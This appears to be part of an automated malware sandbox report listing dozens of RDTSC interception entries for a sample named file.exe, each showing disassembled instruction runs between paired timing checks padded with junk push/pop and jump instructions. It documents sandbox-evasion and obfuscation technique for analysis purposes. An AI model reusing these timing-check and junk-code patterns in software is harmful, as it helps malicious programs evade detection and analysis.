Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6845C7 second address: 6845CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 684767 second address: 68476D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 684BBE second address: 684BD0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A0DA480Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 684BD0 second address: 684BE9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c jmp 00007FF8A11EFEDCh 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 684BE9 second address: 684C05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF8A0DA4818h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 684F43 second address: 684F49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 684F49 second address: 684F6A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF8A0DA4815h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 684F6A second address: 685005 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11EFEE2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007FF8A11EFED8h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 mov dword ptr [ebp+1246AE3Ch], esi 0x0000002b lea eax, dword ptr [ebp+12487A5Ah] 0x00000031 push 00000000h 0x00000033 push ecx 0x00000034 call 00007FF8A11EFED8h 0x00000039 pop ecx 0x0000003a mov dword ptr [esp+04h], ecx 0x0000003e add dword ptr [esp+04h], 0000001Bh 0x00000046 inc ecx 0x00000047 push ecx 0x00000048 ret 0x00000049 pop ecx 0x0000004a ret 0x0000004b mov cl, F7h 0x0000004d push eax 0x0000004e jmp 00007FF8A11EFEE4h 0x00000053 mov dword ptr [esp], eax 0x00000056 sub edi, 5D7A7F4Ah 0x0000005c mov ch, 91h 0x0000005e lea eax, dword ptr [ebp+12487A16h] 0x00000064 mov edi, dword ptr [ebp+122D2C39h] 0x0000006a push eax 0x0000006b push eax 0x0000006c push edx 0x0000006d push eax 0x0000006e push edx 0x0000006f push ebx 0x00000070 pop ebx 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 685005 second address: 68500B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BA95D second address: 6BA961 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BA961 second address: 6BA97C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF8A0DA4815h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BA97C second address: 6BA98F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF8A11EFEDFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BA98F second address: 6BA99B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 684534 second address: 684538 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BAFB0 second address: 6BAFB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BB0F2 second address: 6BB0F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BB0F6 second address: 6BB11C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF8A0DA480Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d jp 00007FF8A0DA4806h 0x00000013 jmp 00007FF8A0DA480Ah 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BB11C second address: 6BB131 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jbe 00007FF8A11EFED6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d pushad 0x0000000e push esi 0x0000000f pushad 0x00000010 popad 0x00000011 pop esi 0x00000012 push ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BB131 second address: 6BB139 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BB2E2 second address: 6BB2E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BB2E6 second address: 6BB2F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FF8A0DA4806h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BB2F5 second address: 6BB2FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BF7C6 second address: 6BF809 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A0DA4819h 0x00000007 jne 00007FF8A0DA481Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jng 00007FF8A0DA4856h 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BF809 second address: 6BF80D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C4FDE second address: 6C4FE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C4FE7 second address: 6C4FED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C4FED second address: 6C4FF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007FF8A0DA4806h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C4FF8 second address: 6C5004 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C5004 second address: 6C500A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C3C93 second address: 6C3CF4 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FF8A11EFEE1h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007FF8A11EFEF7h 0x00000012 jmp 00007FF8A11EFEE3h 0x00000017 jmp 00007FF8A11EFEDEh 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FF8A11EFEE0h 0x00000023 jmp 00007FF8A11EFEE1h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C3CF4 second address: 6C3D04 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A0DA480Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C3D04 second address: 6C3D0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C3E9F second address: 6C3EA9 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FF8A0DA4806h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C3EA9 second address: 6C3EAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C3EAF second address: 6C3EB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C4020 second address: 6C4026 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C4026 second address: 6C4040 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jno 00007FF8A0DA4806h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007FF8A0DA4806h 0x00000014 jnc 00007FF8A0DA4806h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C4040 second address: 6C4046 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C39EE second address: 6C3A01 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FF8A0DA480Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C4712 second address: 6C475B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11EFEDDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push edi 0x0000000b pushad 0x0000000c popad 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FF8A11EFEE8h 0x00000015 jmp 00007FF8A11EFEE9h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C48BE second address: 6C48CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FF8A0DA4806h 0x0000000a jg 00007FF8A0DA4806h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C4CE2 second address: 6C4CEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FF8A11EFED6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C4CEC second address: 6C4D1D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A0DA480Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jnp 00007FF8A0DA4806h 0x00000010 pop eax 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jnp 00007FF8A0DA4817h 0x0000001b jmp 00007FF8A0DA480Bh 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C4D1D second address: 6C4D21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C4D21 second address: 6C4D29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C4D29 second address: 6C4D2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C4D2D second address: 6C4D37 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CA774 second address: 6CA7A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11EFEE9h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jp 00007FF8A11EFED6h 0x00000010 jmp 00007FF8A11EFEDDh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C92C9 second address: 6C92CF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C9B39 second address: 6C9B7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jl 00007FF8A11EFEDAh 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007FF8A11EFEE9h 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FF8A11EFEE2h 0x0000001e pushad 0x0000001f pushad 0x00000020 popad 0x00000021 pushad 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C9B7F second address: 6C9B84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C9B84 second address: 6C9B93 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11EFEDAh 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64E898 second address: 64E8B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8A0DA4816h 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C9F97 second address: 6C9FB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FF8A11EFEE0h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C9FB0 second address: 6C9FB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CA11A second address: 6CA122 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC28D second address: 6CC291 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC291 second address: 6CC2A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jnc 00007FF8A11EFED6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC2A1 second address: 6CC2BD instructions: 0x00000000 rdtsc 0x00000002 jne 00007FF8A0DA4806h 0x00000008 jmp 00007FF8A0DA480Fh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CC2BD second address: 6CC2C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 642AE5 second address: 642AE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 642AE9 second address: 642AF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D2A97 second address: 6D2A9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D2A9B second address: 6D2AA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D2800 second address: 6D2806 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D2806 second address: 6D280A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D5959 second address: 6D5960 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D5960 second address: 6D597A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF8A11EFEE6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D597A second address: 6D597E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D597E second address: 6D5987 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D51F5 second address: 6D5205 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF8A0DA4806h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D5205 second address: 6D5248 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF8A11EFEE1h 0x00000008 push edx 0x00000009 pop edx 0x0000000a jmp 00007FF8A11EFEDBh 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FF8A11EFEE3h 0x00000019 push eax 0x0000001a push edx 0x0000001b jnl 00007FF8A11EFED6h 0x00000021 push eax 0x00000022 pop eax 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D5248 second address: 6D5265 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A0DA4817h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D53B3 second address: 6D53BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D5696 second address: 6D569A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D569A second address: 6D56A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D56A4 second address: 6D56AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D56AA second address: 6D56AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D98D3 second address: 6D98F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF8A0DA480Eh 0x00000008 jmp 00007FF8A0DA480Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D98F4 second address: 6D98FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D98FD second address: 6D9901 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D9901 second address: 6D9917 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF8A11EFED6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D9917 second address: 6D9937 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FF8A0DA4819h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D9A9C second address: 6D9AC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 jmp 00007FF8A11EFEE0h 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FF8A11EFEE1h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D9C20 second address: 6D9C3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FF8A0DA4810h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c pushad 0x0000000d popad 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D9C3A second address: 6D9C65 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 push esi 0x00000008 pop esi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jo 00007FF8A11EFF03h 0x00000012 push edi 0x00000013 jmp 00007FF8A11EFEE2h 0x00000018 pop edi 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DE7AC second address: 6DE7DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A0DA4816h 0x00000007 jnl 00007FF8A0DA4806h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007FF8A0DA4813h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DE7DF second address: 6DE7F6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FF8A11EFEDAh 0x00000008 jp 00007FF8A11EFED6h 0x0000000e pop edi 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DE7F6 second address: 6DE7FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DE7FC second address: 6DE809 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a push edx 0x0000000b pop edx 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DE809 second address: 6DE811 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DE811 second address: 6DE815 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DE815 second address: 6DE819 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
